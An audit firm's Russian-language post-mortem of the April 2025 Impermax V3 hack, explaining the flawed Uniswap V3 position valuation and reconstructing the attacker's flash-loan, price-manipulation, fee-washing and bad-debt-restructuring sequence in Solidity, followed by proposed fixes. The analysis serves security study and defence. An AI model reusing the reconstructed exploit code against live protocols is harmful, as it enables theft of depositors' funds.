Mono Audit logo
Статьи > Анализ взлома Impermax V3

Май 29, 2025, by bakhankov

Анализ взлома Impermax V3

  1. Impermax
  2. Уязвимость
  3. Атака
  4. Устранение
  5. Комментарии

 

26 и 27 апреля 2025 года Impermax V3 стал целью скоординированного эксплойта, охватившего блокчейны Base и Arbitrum. Злоумышленник успешно извлек примерно 170 ETH, что на тот момент оценивалось примерно в 300 000 долларов США. Примечательно, что атака была организована с использованием средств, переведенных через протокол deBridge, который, по-видимому, также сыграл роль в сокрытии части украденных активов.

Давайте подробнее рассмотрим сам протокол.

Impermax

Impermax представляет важную инновацию в децентрализованных финансах, позволяя пользователям брать займы непосредственно под свои LP-токены DEX. Когда пользователь поставляет ликвидность в пул AMM, он получает LP-токены, которые отражают его долю в пуле. Impermax позволяет использовать эти LP-токены, которые обычно состоят из двух разных активов, в качестве залога для заимствования.

Этот подход дает пользователям большую гибкость. Они могут получить займ в одном из двух токенов в LP-паре или сразу обоих. Например, если кто-то держит LP-токен пары ETH и USDC, он может занять либо больше ETH, либо больше USDC, в зависимости от своих потребностей. Этот доступ к заемной ликвидности создает новые стратегические возможности. Он превращает LP-токены из пассивных активов в активные инструменты, которые повышают эффективность использования капитала. Пользователи могут использовать ценность, выраженную в их LP-токенах, не извлекая свои активы из пула AMM. Это также открывает двери для мультипликативного эффекта с использованием кредитного плеча, где заемные токены используются для увеличения LP-позиции. В результате пользователи потенциально могут иметь больший доход на торговых комиссиях и других вознаграждениях.

Эта система заимствования работает, т.к. Impermax предоставляет пуллы ликвидности для кредитования отдельно по каждому токену. Поставщики ликвидности для займов в экосистеме предоставляют отдельные токены, такие как ETH или USDC, в эти пулы, с целью получения дохода. Когда пользователь берет заем под свои LP-токены, он берет один конкретный актив из одного из этих пулов с одним токеном.

Веб-сайт

Документация

V3

Impermax V3 нацелен на предоставление займов под залог позиции Uniswap V3. Это важное развитие, потому что Uniswap V3 внес серьезные изменения в то, как предоставляется ликвидность, по сравнению с Uniswap V2. Вместо равномерного распределения ликвидности по всему диапазону цен сразу, Uniswap V3 позволяет поставщикам ликвидности концентрировать свой капитал в определенных ценовых диапазонах. В результате каждая LP-позиция Uniswap V3 может быть уникальной. Эти позиции представлены в виде NFT токенов, а не ERC20 токенов, как в Uniswap V2.

Описание V3

Давайте подробнее рассмотрим, как пользователь взаимодействует с Impermax.

Пример заимствования

Полный пример кода можно найти здесь.

Прежде всего, нам нужно определить несколько переменных:

tokenizedUniV3Pos - Контракт, который хранит и управляет LP-позициями, используемыми в качестве залога для займов.

imxBUSDC - Контракт, который управляет заимствованиями по отдельному токену. В нашем случае - USDC.

imxC - Контракт, который управляет залогом. Он хранит адреса tokenizedUniV3Pos и imxBUSDC, так что мы можем инстанцировать их позже.

ITokenizedUniswapV3Position tokenizedUniV3Pos;
IBorrowable imxBUSDC;
ICollateral imxC = ICollateral(0xc1D49fa32d150B31C4a5bf1Cbf23Cf7Ac99eaF7d);

fee - (размер комиссии uniswapV3) представляет пул Uniswap, который мы будем использовать в нашей демонстрации. Список доступных пулов можно найти здесь: https://app.uniswap.org/positions/create/v3

UniswapV3 pools


uint24 fee = 200;

usdcLPAmount и wethLPAmount - суммы, которые мы будем использовать для предоставления ликвидности в uniswap:

uint256 usdcLPAmount = 180e6; // 180 USDC
uint256 wethLPAmount = 0.1e18; // 0.1 WETH

 

Теперь мы можем получить экземпляр пула uniswapV3, который мы будем использовать:


IUniswapV3Pool pool = IUniswapV3Pool(tokenizedUniV3Pos.getPool(fee));

Затем, чтобы предоставить ликвидность, нам нужно определить диапазон тиков, в который мы будем вливать ее. Например, +-2,5% от текущей цены:

int24 poolTickSpacing = pool.tickSpacing();
(uint160 sqrtPriceX96, int24 tick,,,,,) = pool.slot0();

int24 tickLower = int24(int256(tick) * 975 / 1000);
// align lower tick to tickSpacing
tickLower = tickLower - (tickLower % poolTickSpacing);

int24 tickUpper = int24(int256(tick) * 1025 / 1000);
tickUpper = tickUpper - (tickUpper % poolTickSpacing);
// in case tickUpper < tickLower, swap them
if (tickUpper < tickLower) (tickUpper, tickLower) = (tickLower, tickUpper);

Теперь мы можем рассчитать количество ликвидности, которое мы собираемся предоставить:

uint128 poolMintAmount = LiquidityAmounts.getLiquidityForAmounts(
    sqrtPriceX96,
    TickMath.getSqrtRatioAtTick(tickLower),
    TickMath.getSqrtRatioAtTick(tickUpper),
    wethLPAmount,
    usdcLPAmount
);

На этом этапе мы готовы добавить ликвидность:

pool.mint(
    address(tokenizedUniV3Pos),
    tickLower,
    tickUpper,
    poolMintAmount,
    abi.encode(address(WETH), address(USDC))
);

Теперь нам нужно токенизировать нашу позицию и создать залоговую позицию:

uint256 tokenId = tokenizedUniV3Pos.mint(address(this), fee, tickLower, tickUpper);

tokenizedUniV3Pos.transferFrom(address(this), address(imxC), tokenId);

imxC.mint(address(this), tokenId);

Наконец, мы можем взять заем под залог нашей позиции UniswapV3:

uint256 toBorrow = (totalUsdcProvided * 75) / 100;

imxBUSDC.borrow(tokenId, address(this), toBorrow, "");

Готово.

 

В этом разделе мы рассмотрели пример кода для заимствования в Impermax V3. Для того чтобы мы могли занимать под наши LP-токены, протокол должен содержать функциональность для оценки нашей позиции.

 

И тут мы подбираемся к слабому месту протокола.

Уязвимость

В данном случае сложно указать на конкретную строку в коде протокола, которую можно было бы идентифицировать как явную ошибку, приведшую к взлому. Здесь имеет место фундаментальная ошибка в интеграции со сторонним протоколом (uniswapV3). Некоторые функциональные возможности интегрированного протокола не учитываются корректно. В частности, не учитывается случай, когда текущий тик находится за границей токенизированной позиции. А также тот факт, что цена в пуле может быть искусственно изменена, в результате чего она будет отличаться от цены, сообщаемой оракулом.

Итак, давайте рассмотрим несколько важных фактов, характеризующих эту атаку:

  1. Позиция создана вдали от реального тика.
  2. Злоумышленник обладает достаточными средствами для изменения цены в пределах своей позиции.
  3. Функция оценки использует цену из оракула, в то время как в пуле цена сильно отличается.
  4. Реструктуризация займа не запускает процесс ликвидации.

attacker position

 

Теперь мы можем рассмотреть некоторые части кода протокола, где такая позиция вызовет проблемы:

extensions/TokenizedUniswapV3Position.sol#L109-L116

Здесь метод getPositionData в TokenizedUniswapV3Position предназначен для расчета количества USDC и WETH, хранящихся внутри позиции. Но поскольку priceSqrtX96, предоставленный оракулом, отличается от текущей цены и находится вне диапазона позиции, метод вернет только одну сторону позиции:

priceSqrtX96 = oraclePriceSqrtX96();
uint160 currentPrice = safe160(priceSqrtX96);
uint160 lowestPrice = safe160(priceSqrtX96.mul(1e18).div(safetyMarginSqrt));
uint160 highestPrice = safe160(priceSqrtX96.mul(safetyMarginSqrt).div(1e18));

(realXYs.lowestPrice.realX, realXYs.lowestPrice.realY) = LiquidityAmounts.getAmountsForLiquidity(lowestPrice, pa, pb, position.liquidity);
(realXYs.currentPrice.realX, realXYs.currentPrice.realY) = LiquidityAmounts.getAmountsForLiquidity(currentPrice, pa, pb, position.liquidity);
(realXYs.highestPrice.realX, realXYs.highestPrice.realY) = LiquidityAmounts.getAmountsForLiquidity(highestPrice, pa, pb, position.liquidity);

Причина, по которой это произошло, может быть найдена в коде библиотеки.

extensions/libraries/LiquidityAmounts.sol#L129

Если priceSqrtX96 находится вне диапазона позиции, это означает, что эта позиция в данный момент содержит ликвидность только в одном токене:

function getAmountsForLiquidity(
    ...
) internal pure returns (uint256 amount0, uint256 amount1) {
    ...
    if (sqrtRatioX96 <= sqrtRatioAX96) {
        amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
    } else if ...
}

Далее, суммы токенов позиции, включая начисленные комиссии, передаются в CollateralMath для расчета стоимости позиции. Тот же код используется для оценки стоимости займа. Код умножает количество одного токена на цену и добавляет произведение второго токена на 2**192/price. Что наводит на вопрос: в каких единицах мы получаем результат?

libraries/CollateralMath.sol#L64

function getValue(PositionObject memory positionObject, Price price, uint amountX, uint amountY) internal pure returns (uint) {
    uint priceSqrtX96 = positionObject.priceSqrtX96;
    if (price == Price.LOWEST) priceSqrtX96 = priceSqrtX96.mul(1e18).div(positionObject.safetyMarginSqrt);
    if (price == Price.HIGHEST) priceSqrtX96 = priceSqrtX96.mul(positionObject.safetyMarginSqrt).div(1e18);
    uint relativePriceX = getRelativePriceX(priceSqrtX96);
    uint relativePriceY = getRelativePriceY(priceSqrtX96); // Q192.div(priceSqrtX96)
    return amountX.mul(relativePriceX).div(Q64).add(amountY.mul(relativePriceY).div(Q64));
}

Наконец, накопленные комиссии, полученные на предыдущих этапах, не будут полностью реинвестированы. Это связано с тем, что сильно смещенная текущая цена требует искаженного соотношения токенов для добавления ликвидности, и часть комиссий, накопленных в WETH, останется неинвестированной:

extensions/TokenizedUniswapV3Position.sol#L78-L87

function _getfeeCollectedAndGrowth(Position memory position, address pool) internal view returns (uint256 fg0, uint256 fg1, uint256 feeCollected0, uint256 feeCollected1) {
    bytes32 hash = UniswapV3Position.getHash(address(this), position.tickLower, position.tickUpper);
    (,fg0, fg1,,) = IUniswapV3Pool(pool).positions(hash);

    uint256 delta0 = fg0 - position.feeGrowthInside0LastX128;
    uint256 delta1 = fg1 - position.feeGrowthInside1LastX128;

    feeCollected0 = delta0.mul(position.liquidity).div(Q128).add(position.unclaimedFees0);
    feeCollected1 = delta1.mul(position.liquidity).div(Q128).add(position.unclaimedFees1);
}

Еще один важный момент: реструктуризация займа не запускает процесс ликвидации, а только уменьшает запись о сумме заема:

ImpermaxV3Collateral.sol#L100

function restructureBadDebt(uint tokenId) external nonReentrant {
    CollateralMath.PositionObject memory positionObject = _getPositionObject(tokenId);
    uint postLiquidationCollateralRatio = positionObject.getPostLiquidationCollateralRatio();
    require(postLiquidationCollateralRatio < 1e18, "ImpermaxV3Collateral: NOT_UNDERWATER");
    IBorrowable(borrowable0).restructureDebt(tokenId, postLiquidationCollateralRatio);
    IBorrowable(borrowable1).restructureDebt(tokenId, postLiquidationCollateralRatio);

    blockOfLastRestructureOrLiquidation[tokenId] = block.number;

    emit RestructureBadDebt(tokenId, postLiquidationCollateralRatio);
}

 

И теперь мы можем посмотреть, как была проэксплуатирована эта уязвимость.

Атака

Анализ атаки проводился на основе транзакции 0x14ea5...3ed77, полный список транзакций можно найти в конце этого раздела.

 

Дисклеймер:

В этом разделе будет представлен ряд алгоритмов для расчета некоторых значений; эти алгоритмы были определены путем реверс-инжениринга и могут или не могут соответствовать тому, что использовалось в смарт контракте злоумышленника.

 

Полный пример кода можно найти здесь.

Злоумышленник ранее провел off-chain разведку и подготовил некоторые входные данные.

Помимо адресов контрактов Impermax, были изучены суммы, доступные для флеш-займов. И были определены два пула uniswapV3: один с очень низкой ликвидностью и один с максимальной ликвидностью.

 

Первым шагом было получение флеш-займов в токенах WETH и USDC на Morpho.

Затем он определил пул с низкой ликвидностью и взял его текущий тик:

IUniswapV3Pool pool = IUniswapV3Pool(tokenizedUniV3Pos.getPool(lowLiquidityPoolFee));
(, int24 baseTick,,,,,) = pool.slot0();

Он сделал относительно большой обмен, чтобы увидеть, как изменится цена:

(int256 priceMovedWithAmount0,) =
    pool.swap(address(this), false, firstSwapUsdcAmount, sqrtPriceLimitX96_0, abi.encode(weth, usdc));
(uint160 movedSqrtPriceX96, int24 movedTick,,,,,) = pool.slot0();

Нижний тик был определен как 2,5% выше базового тика:

int256 tickMultiplierBase = 1000;
int256 tickLowerMultiplier;
if (baseTick < 0) {
    tickLowerMultiplier = tickMultiplierBase - 25;
} else {
    tickLowerMultiplier = tickMultiplierBase + 25;
}
int24 tickLower = int24(int256(baseTick) * tickLowerMultiplier / tickMultiplierBase);
tickLower = tickLower - (tickLower % poolTickSpacing);

Верхний тик был определен как тик при смещенной цене:

int24 tickUpper = movedTick + poolTickSpacing - (movedTick % poolTickSpacing);

if (tickLower > tickUpper) (tickLower, tickUpper) = (tickUpper, tickLower);

Далее была посчитана ликвидность, которая должна быть предоставлена, на основе 20 миллионов USDC:

uint128 poolMintAmount = LiquidityAmounts.getLiquidityForAmounts(
    movedSqrtPriceX96,
    TickMath.getSqrtRatioAtTick(tickLower),
    TickMath.getSqrtRatioAtTick(tickUpper),
    wethBorrowed,
    usdcLPAmount
);

Ликвидность предоставлена, позиция токенизирована, залоговая позиция создана:

pool.mint(tUniV3Pos, tickLower, tickUpper, poolMintAmount, abi.encode(weth, usdc));

uint256 newTokenId = tokenizedUniV3Pos.mint(address(this), lowLiquidityPoolFee, tickLower, tickUpper);

tokenizedUniV3Pos.transferFrom(address(this), imxCaddr, newTokenId);

imxC.mint(address(this), newTokenId);

Wash-swapping для получения комиссий (Стоит отметить, что комиссии были оплачены с баланса злоумышленника, размер ликвидности пула не изменился):

int256 washAmount = int256(usdcLPAmount * 97 / 100); // 19,400,000 USDC
int256 backWashAmount = addFee(washAmount, lowLiquidityPoolFee);
for (uint16 i = 0; i < 100; i++) {
    pool.swap(address(this), true, -washAmount, sqrtPriceLimitX96_1, abi.encode(weth, usdc));
    pool.swap(address(this), false, backWashAmount, sqrtPriceLimitX96_0, abi.encode(weth, usdc));
}

В тот момент, когда пул был накачан комиссиями, можно было определить максимальную сумму для заимствования под позицию злоумышленника на основе расчетов, используемых самим протоколом:

uint256 liquidationPenalty = imxC.liquidationPenalty();
uint256 safetyMarginSqrt = imxC.safetyMarginSqrt();
(uint256 sqrtPriceX96, INFTLP.RealXYs memory realXYs) =
    INFTLP(tUniV3Pos).getPositionData(newTokenId, safetyMarginSqrt);

uint256 debtX = IBorrowable(imxBweth).currentBorrowBalance(newTokenId);
// here we use usdcLPAmount as placeholder, we will calculate the real amount later
uint256 debtY = usdcLPAmount;

// here we reversing the protocol math to find how much USDC we can borrow against the collateral
CollateralMath.PositionObject memory positionObject =
    CollateralMath.newPosition(realXYs, sqrtPriceX96, debtX, debtY, liquidationPenalty, safetyMarginSqrt);
{
    CollateralMath.Price price = CollateralMath.Price.LOWEST;
    uint256 collateralValue = CollateralMath.getCollateralValue(positionObject, price);
    uint256 debtYCalculated = CollateralMath.getDebtY(positionObject, price, debtX, collateralValue);
    if (debtYCalculated < debtY) {
        debtY = debtYCalculated;
    }
}
{
    CollateralMath.Price price = CollateralMath.Price.HIGHEST;
    uint256 collateralValue = CollateralMath.getCollateralValue(positionObject, price);
    uint256 debtYCalculated = CollateralMath.getDebtY(positionObject, price, debtX, collateralValue);
    if (debtYCalculated < debtY) {
        debtY = debtYCalculated;
    }
}
debtY = debtY * 1e18 / liquidationPenalty;

Здесь злоумышленник сам выступил в качестве поставщика ликвидности для атакованного пула заимствования:

uint256 imxBUSDC_USDCBalance = USDC.balanceOf(address(imxBUSDC));

USDC.transfer(address(imxBUSDC), debtY - imxBUSDC_USDCBalance);
imxBUSDC.mint(address(this));

И взял кредит в размере всех доступных средств в пуле (предоставленных как им самим, так и другими пользователями):

imxBUSDC_USDCBalance = USDC.balanceOf(address(imxBUSDC));
imxBUSDC.borrow(newTokenId, address(this), imxBUSDC_USDCBalance, "");

Вызов Reinvest извлекает накопленные комиссии и добавляет их к ликвидность пула. Это приводит к тому, что рассчитанная стоимость позиции падает ниже здорового уровня:


tokenizedUniV3Pos.reinvest(newTokenId, address(this));

Затем недообеспеченный займ был реструктурирован. Однако, поскольку ликвидация не была вызвана, а записи о займе были только перезаписаны, злоумышленник погасил 75% кредита "бесплатно".


imxC.restructureBadDebt(newTokenId);

Затем оставшиеся 25% кредита были погашены:

uint256 currentBorrowBalance = imxBUSDC.currentBorrowBalance(newTokenId);
USDC.transfer(address(imxBUSDC), currentBorrowBalance);
imxBUSDC.borrow(newTokenId, address(this), 0, "");

Залоговая позиция была погашена:


imxC.redeem(address(this), newTokenId, 1e18);

Токенизированная позиция была конвертирована непосредственно в базовые токены (WETH и USDC):


tokenizedUniV3Pos.redeem(address(this), newTokenId);

Цена пула с низкой ликвидностью была сброшена до ее первоначального значения:

int256 priceMoveBackAmount = addFee(-priceMovedWithAmount0, lowLiquidityPoolFee);
pool.swap(address(this), true, priceMoveBackAmount, sqrtPriceLimitX96_1, abi.encode(weth, usdc));

Ликвидность добавленная ранее в пул заимствования изъята (только 25%, которые были выплачены честным погашением кредита):

uint256 toTransfer = USDC.balanceOf(address(imxBUSDC)) * 1e18 / imxBUSDC.exchangeRate();
imxBUSDC.transfer(address(imxBUSDC), toTransfer);
imxBUSDC.redeem(address(this));

На этом этапе злоумышленник вывел ликвидность пула uniswap, комиссии пула и часть ликвидности, предоставленной для заимствования. А также сохранил заимствованную сумму.

Затем был использован пул с высокой ликвидностью для обмена украденных средств на WETH, чтобы иметь возможность погасить флеш-займ.

IUniswapV3Pool pool500 = IUniswapV3Pool(tokenizedUniV3Pos.getPool(highLiquidityPoolFee));
uint256 thisWETHBalance = WETH.balanceOf(address(this));
if (wethBorrowed > thisWETHBalance) {
    pool500.swap(
        address(this),
        false,
        int256(wethBorrowed - thisWETHBalance) * -1,
        sqrtPriceLimitX96_0,
        abi.encode(weth, usdc)
    );
}

Когда флеш-займ был погашен, он обменял выручку из USDC на WETH:

uint256 thisUSDCBalance = IERC20(usdc).balanceOf(address(this));
IUniswapV3Pool pool500 = IUniswapV3Pool(tokenizedUniV3Pos.getPool(highLiquidityPoolFee));
pool500.swap(address(this), false, int256(thisUSDCBalance), sqrtPriceLimitX96_0, abi.encode(weth, usdc));

WETH в эфир:

uint256 thisWETHBalance = WETH.balanceOf(address(this));
WETH.withdraw(thisWETHBalance);

И перевел на другой адрес:


payable(lootReceiver).call{value: thisWETHBalance}("");

 

Злоумышленник имел очень глубокое понимание интегрированного протокола и особенностей его функционирования. Эта атака отличается очень изощренным подходом к определению метода извлечения прибыли.

 

Транзакции, связанные с взломом

Блокчейн Base:

ТранзакцияИзвлечено ETH
0xde90...45983  34.59645795
0xeac7...a3436  15.57019255
0xcbcf...08304  12.07254967
0x1bfa...e1caf  10.29978595
0x6644...60657  22.89657999
0x2377...c91e9  0.98906282
0x6cad...6d728  4.14101626
0xa533...88ef4  0.8873651
0xf00c...a18ff  3.41702417
0x69e5...eb35e  7.29924837
0x14ea...3ed77  1.53861513
0x0b9d...f5316  0.98900363
0x2885...f2e02  0.98900328
0xc516...e6b53  0.88697381
0x58e0...0a85b  0.88696941
0xf744...4f44c  0.1001
0xad4f...26a56  1.29642032
0x47c4...9a276  0.0026442
0xe542...b7bcf  1.47983218
0xd47a...d8257  0.75381959

Блокчейн Arbitrum:

ТранзакцияИзвлечено ETH
0xaafa...758e3  40.02116831
0x9491...70385  5.96246942
0x11d7...52fb4  2.94425477
0x0c39...b3903  0.00241737

 

Устранение

Устранение должно быть направлено на первопричину уязвимости, которой является незнание интегрируемого протокола. Основное внимание следует уделить надежному алгоритму оценки позиции.

1. Алгоритм может быть основан на оценке ликвидности позиции. Нераспределенные комиссии могут быть надежно конвертированы в будущую ликвидность.

2. Необходимо добавить проверку расстояния текущей цены пула от цены оракула.

ImpermaxV3Collateral.sol#L96

function canBorrow(uint tokenId, address borrowable, uint accountBorrows) public returns (bool) {
    ...

    CollateralMath.PositionObject memory positionObject = _getPositionObjectAmounts(tokenId, debtX, debtY);

+   (uint24 fee,,,,,,,) = INFTLP(underlying).positions(tokenId);
+   IUniswapV3Pool pool = IUniswapV3Pool(INFTLP(underlying).getPool(fee));
+   (uint160 sqrtPriceX96,,,,,,) = pool.slot0();
+   //                           ⬇цена пула                            ⬇цена оракула
+   uint256 pricesRatio = uint256(sqrtPriceX96) * 1e18 / positionObject.priceSqrtX96;
+   if (pricesRatio < 1e18) {
+       pricesRatio = 1e18 / pricesRatio;
+   }
+   require(pricesRatio <= safetyMarginSqrt, "ImpermaxV3Collateral: POOL_PRICE_TOO_FAR_FROM_ORACLE_PRICE");

    return !positionObject.isLiquidatable();
}

3. Рассмотреть возможность запуска ликвидации части позиции при реструктуризации займа.

 

В любом случае, новый алгоритм должен быть тщательно протестирован с моделированием различных пограничных случаев.

Комментарии

Есть мысли, вопросы или отзывы об этом анализе?
Присоединяйтесь к обсуждению на X и поделитесь своей точкой зрения:

Оставьте комментарий к посту

Мы будем рады услышать ваше мнение!

Непрерывный анализ безопасности

Повысьте безопасность смарт контрактов с помощью непрерывного аудита безопасности. Интегрируйте непрерывный аудит кода на каждом этапе разработки, чтобы выявить уязвимости на ранней стадии и сократить дорогостоящие исправления.